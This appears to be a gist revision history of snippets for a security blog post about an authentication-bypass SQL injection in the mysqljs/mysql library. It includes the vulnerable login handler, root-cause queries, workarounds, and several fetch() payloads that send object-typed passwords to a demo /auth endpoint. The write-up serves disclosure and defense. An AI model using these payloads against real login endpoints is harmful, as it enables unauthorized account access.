stypr · May 23, 2022 13:13 · May 23, 2022 · Feb 21, 2022 · Feb 18, 2022 · Feb 18, 2022
diff --git a/demo_attack_demo_1.js b/demo_attack_demo_1.js
@@ -1,4 +1,4 @@
-fetch("https://sqli.demo.flatt.fe.gy/auth", {
+fetch("https://sqli.blog-demo.flatt.training/auth", {
  "headers": {
   "accept-language": "en-US,en;q=0.9,ko;q=0.8,ja;q=0.7",
   "cache-control": "max-age=0",

diff --git a/demo_attack_demo_2.js b/demo_attack_demo_2.js
@@ -1,4 +1,4 @@
-fetch("https://sqli.demo.flatt.fe.gy/auth", {
+fetch("https://sqli.blog-demo.flatt.training/auth", {
   headers: {
     "content-type": "application/x-www-form-urlencoded",
   },

diff --git a/demo_attack_demo_3.js b/demo_attack_demo_3.js
@@ -1,4 +1,4 @@
-fetch("https://sqli.demo.flatt.fe.gy/auth", {
+fetch("https://sqli.blog-demo.flatt.training/auth", {
   headers: {
     "content-type": "application/x-www-form-urlencoded",
   },

diff --git a/demo_attack_demo_4.js b/demo_attack_demo_4.js
@@ -4,7 +4,7 @@ data = {
     password: 1,
   },
 };
-fetch("https://sqli.demo.flatt.fe.gy/auth", {
+fetch("https://sqli.blog-demo.flatt.training/auth", {
   headers: {
     "content-type": "application/json",
   },

diff --git a/tldr_attack_snippet.js b/tldr_attack_snippet.js
@@ -11,7 +11,7 @@ data = {
     password: 1,
   },
 };
-fetch("https://sqli.demo.flatt.fe.gy/auth", {
+fetch("https://sqli.blog-demo.flatt.training/auth", {
   headers: {
     "content-type": "application/json",
   },

diff --git a/README.md b/README.md
@@ -0,0 +1 @@
+https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4
diff --git a/root_cause_query_1.sql b/root_cause_query_1.sql
@@ -0,0 +1,7 @@
+mysql> select password = `password` from accounts;
++-----------------------+
+| password = `password` |
++-----------------------+
+|                     1 |
++-----------------------+
+1 row in set (0.00 sec)
diff --git a/root_cause_query_2.sql b/root_cause_query_2.sql
@@ -0,0 +1,7 @@
+mysql> select password = `password` = 1 from accounts;
++---------------------------+
+| password = `password` = 1 |
++---------------------------+
+|                         1 |
++---------------------------+
+1 row in set (0.00 sec)
diff --git a/root_cause_query_3.sql b/root_cause_query_3.sql
@@ -0,0 +1,21 @@
+mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND password=`password`;
++----+----------+------------------+------------------+
+| id | username | snipped_password | email            |
++----+----------+------------------+------------------+
+| 1 | admin     | da923326         | admin@flatt.tech |
++----+----------+------------------+------------------+
+1 row in set (0.00 sec)
+mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND password=`password`=1;
++----+----------+------------------+------------------+
+| id | username | snipped_password | email            |
++----+----------+------------------+------------------+
+| 1 | admin     | da923326         | admin@flatt.tech |
++----+----------+------------------+------------------+
+1 row in set (0.00 sec)
+mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND 1;
++----+----------+------------------+------------------+
+| id | username | snipped_password | email            |
++----+----------+------------------+------------------+
+| 1 | admin     | da923326         | admin@flatt.tech |
++----+----------+------------------+------------------+
+1 row in set (0.00 sec)
diff --git a/root_cause_run.sql b/root_cause_run.sql
@@ -0,0 +1,11 @@
+$ node main.js
+SELECT * FROM accounts WHERE username = 'admin' AND password = 12341234
+SELECT * FROM accounts WHERE username = 'admin' AND password = true
+SELECT * FROM accounts WHERE username = 'admin' AND password = '1995-12-17 03:24:00.000'
+SELECT * FROM accounts WHERE username = 'admin' AND password = `0` = 't', `1` = 'e', `2` = 's', `3` = 't', `4` = '_', `5` = 'p', `6` = 'a', `7` = 's', `8` = 's', `9` = 'w', `10` = 'o', `11` = 'r', `12` = 'd', `13` = '_', `14` = 's', `15` = 't', `16` = 'r', `17` = 'i', `18` = 'n', `19` = 'g'
+SELECT * FROM accounts WHERE username = 'admin' AND password = 'test_password_string'
+SELECT * FROM accounts WHERE username = 'admin' AND password = 'array_test_1', 'array_test_2'
+SELECT * FROM accounts WHERE username = 'admin' AND password = ('a', 'b'), ('c', 'd')
+SELECT * FROM accounts WHERE username = 'admin' AND password = `obj_key_1` = 'obj_val_1'
+SELECT * FROM accounts WHERE username = 'admin' AND password = NULL
+SELECT * FROM accounts WHERE username = 'admin' AND password = NULL
diff --git a/demo_attack_demo_1.js b/demo_attack_demo_1.js
@@ -0,0 +1,13 @@
+fetch("https://sqli.demo.flatt.fe.gy/auth", {
+ "headers": {
+  "accept-language": "en-US,en;q=0.9,ko;q=0.8,ja;q=0.7",
+  "cache-control": "max-age=0",
+  "content-type": "application/x-www-form-urlencoded",
+  ...
+ },
+ ...
+ "body": "username=admin&password=12341234test",
+ "method": "POST",
+ "mode": "cors",
+ "credentials": "include"
+});
diff --git a/demo_attack_demo_2.js b/demo_attack_demo_2.js
@@ -0,0 +1,13 @@
+fetch("https://sqli.demo.flatt.fe.gy/auth", {
+  headers: {
+    "content-type": "application/x-www-form-urlencoded",
+  },
+  body: "username=admin&password=12341234test",
+  method: "POST",
+  mode: "cors",
+  credentials: "include",
+})
+.then((r) => r.text())
+.then((r) => {
+  console.log(r);
+});
diff --git a/demo_attack_demo_3.js b/demo_attack_demo_3.js
@@ -0,0 +1,13 @@
+fetch("https://sqli.demo.flatt.fe.gy/auth", {
+  headers: {
+    "content-type": "application/x-www-form-urlencoded",
+  },
+  body: "username=admin&password[password]=1",
+  method: "POST",
+  mode: "cors",
+  credentials: "include",
+})
+.then((r) => r.text())
+.then((r) => {
+  console.log(r);
+});
diff --git a/demo_attack_demo_4.js b/demo_attack_demo_4.js
@@ -0,0 +1,19 @@
+data = {
+  username: "admin",
+  password: {
+    password: 1,
+  },
+};
+fetch("https://sqli.demo.flatt.fe.gy/auth", {
+  headers: {
+    "content-type": "application/json",
+  },
+  body: JSON.stringify(data),
+  method: "POST",
+  mode: "cors",
+  credentials: "include",
+})
+.then((r) => r.text())
+.then((r) => {
+  console.log(r);
+});
diff --git a/demo_vuln_snippet.js b/demo_vuln_snippet.js
@@ -0,0 +1,31 @@
+app.post("/auth", function (request, response) {
+  // Capture the input fields
+  let username = request.body.username;
+  let password = request.body.password;
+  // Ensure the input fields exists and are not empty
+  if (username && password) {
+    // Execute SQL query that'll select the account from the database based on the specified username and password
+    connection.query(
+      "SELECT * FROM accounts WHERE username = ? AND password = ?",
+      [username, password],
+      function (error, results, fields) {
+        // If there is an issue with the query, output the error
+        if (error) throw error;
+        // If the account exists
+        if (results.length > 0) {
+          // Authenticate the user
+          request.session.loggedin = true;
+          request.session.username = username;
+          // Redirect to home page
+          response.redirect("/home");
+        } else {
+          response.send("Incorrect Username and/or Password!");
+        }
+        response.end();
+      }
+    );
+  } else {
+    response.send("Please enter Username and Password!");
+    response.end();
+  }
+});
diff --git a/root_cause_sqlstring.js b/root_cause_sqlstring.js
@@ -0,0 +1,36 @@
+SqlString.escape = function escape(val, stringifyObjects, timeZone) {
+  if (val === undefined || val === null) {
+    return 'NULL';
+  }
+  switch (typeof val) {
+    case 'boolean': return (val) ? 'true' : 'false';
+    case 'number': return val + '';
+    case 'object':
+      if (val instanceof Date) {
+        return SqlString.dateToString(val, timeZone || 'local');
+      } else if (Array.isArray(val)) {
+        return SqlString.arrayToList(val, timeZone);
+      } else if (Buffer.isBuffer(val)) {
+        return SqlString.bufferToString(val);
+      } else if (typeof val.toSqlString === 'function') {
+        return String(val.toSqlString());
+      } else if (stringifyObjects) {
+        return escapeString(val.toString());
+      } else {
+        return SqlString.objectToValues(val, timeZone);
+      }
+    default: return escapeString(val);
+  }
+};
+...
+SqlString.objectToValues = function objectToValues(object, timeZone) {
+  var sql = '';
+  for (var key in object) {
+    var val = object[key];
+    if (typeof val === 'function') {
+      continue;
+    }
+    sql += (sql.length === 0 ? '' : ', ') + SqlString.escapeId(key) + ' = ' + SqlString.escape(val, true, timeZone);
+  }
+  return sql;
+};
diff --git a/root_cause_typetest.js b/root_cause_typetest.js
@@ -0,0 +1,44 @@
+/*
+main.js
+Test code for different types
+*/
+var mysql = require("mysql");
+// connection
+var connection = mysql.createConnection({
+  host: "localhost",
+  user: "login",
+  password: "login",
+  database: "login",
+});
+// log query
+connection.on("enqueue", function (sequence) {
+  if ("Query" === sequence.constructor.name) {
+    console.log(sequence.sql);
+  }
+});
+// username and password
+var username = "admin";
+var password_list = [
+  12341234, // Numbers
+  true, // Booleans
+  new Date("December 17, 1995 03:24:00"), // Date
+  new String("test_password_string"), // String Object
+  "test_password_string", // String
+  ["array_test_1", "array_test_2"], // Array
+  [
+    ["a", "b"],
+    ["c", "d"],
+  ], // Nested Array
+  { obj_key_1: "obj_val_1" }, // Object
+  undefined,
+  null,
+];
+// What will happen?
+for (i in password_list) {
+  var sql = "SELECT * FROM accounts WHERE username = ? AND password = ?";
+  connection.query(
+    sql,
+    [username, password_list[i]],
+    function (error, results, fields) {}
+  );
+}
diff --git a/tldr_attack_snippet.js b/tldr_attack_snippet.js
@@ -0,0 +1,26 @@
+/*
+ Running the following code in your browser will execute the following code in the backend.
+ > SELECT * FROM accounts WHERE username = 'admin' AND password = `password` = 1;
+ And the executed query will eventually be simplified into the following query
+ > SELECT * FROM accounts WHERE username = 'admin' AND 1 = 1;
+ > SELECT * FROM accounts WHERE username = 'admin';
+*/
+data = {
+  username: "admin",
+  password: {
+    password: 1,
+  },
+};
+fetch("https://sqli.demo.flatt.fe.gy/auth", {
+  headers: {
+    "content-type": "application/json",
+  },
+  body: JSON.stringify(data),
+  method: "POST",
+  mode: "cors",
+  credentials: "include",
+})
+.then((r) => r.text())
+.then((r) => {
+  console.log(r);
+});
diff --git a/tldr_vulnerable_snippet.js b/tldr_vulnerable_snippet.js
@@ -0,0 +1,15 @@
+...
+app.post("/auth", function (request, response) {
+ var username = request.body.username;
+ var password = request.body.password;
+ if (username && password) {
+  connection.query(
+   "SELECT * FROM accounts WHERE username = ? AND password = ?",
+   [username, password],
+   function (error, results, fields) {
+    ...
+   }
+  );
+ }
+});
+...
diff --git a/tldr_workaround_1.js b/tldr_workaround_1.js
@@ -0,0 +1,5 @@
+var connection = mysql.createConnection({
+  ...,
+  stringifyObjects: true,
+});
+...
diff --git a/tldr_workaround_2.js b/tldr_workaround_2.js
@@ -0,0 +1,19 @@
+app.post("/auth", function (request, response) {
+ var username = request.body.username;
+ var password = request.body.password;
+ // Reject different type
+ if (typeof username != "string" || typeof password != "string"){
+  response.send("Invalid parameters!");
+  response.end();
+  return;
+ }
+ if (username && password) {
+  connection.query(
+   "SELECT * FROM accounts WHERE username = ? AND password = ?",
+   [username, password],
+   function (error, results, fields) {
+    ...
+   }
+  );
+ }
+});
diff --git a/workaround_1_after.js b/workaround_1_after.js
@@ -0,0 +1,8 @@
+var connection = mysql.createConnection({
+  host: "db",
+  user: "login",
+  password: "login",
+  database: "login",
+  stringifyObjects: true,
+});
+...
diff --git a/workaround_1_before.js b/workaround_1_before.js
@@ -0,0 +1,7 @@
+var connection = mysql.createConnection({
+  host: "db",
+  user: "login",
+  password: "login",
+  database: "login",
+});
+...
diff --git a/workaround_2_after.js b/workaround_2_after.js
@@ -0,0 +1,19 @@
+app.post("/auth", function (request, response) {
+ var username = request.body.username;
+ var password = request.body.password;
+ // Reject different value types
+ if (typeof username != "string" || typeof password != "string"){
+  response.send("Invalid parameters!");
+  response.end();
+  return;
+ }
+ if (username && password) {
+  connection.query(
+   "SELECT * FROM accounts WHERE username = ? AND password = ?",
+   [username, password],
+   function (error, results, fields) {
+    ...
+   }
+  );
+ }
+});
diff --git a/workaround_2_before.js b/workaround_2_before.js
@@ -0,0 +1,13 @@
+app.post("/auth", function (request, response) {
+ var username = request.body.username;
+ var password = request.body.password;
+ if (username && password) {
+  connection.query(
+   "SELECT * FROM accounts WHERE username = ? AND password = ?",
+   [username, password],
+   function (error, results, fields) {
+    ...
+   }
+  );
+ }
+});
Original file line number	Diff line number	Diff line change
		@@ -0,0 +1 @@
		https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4
No results found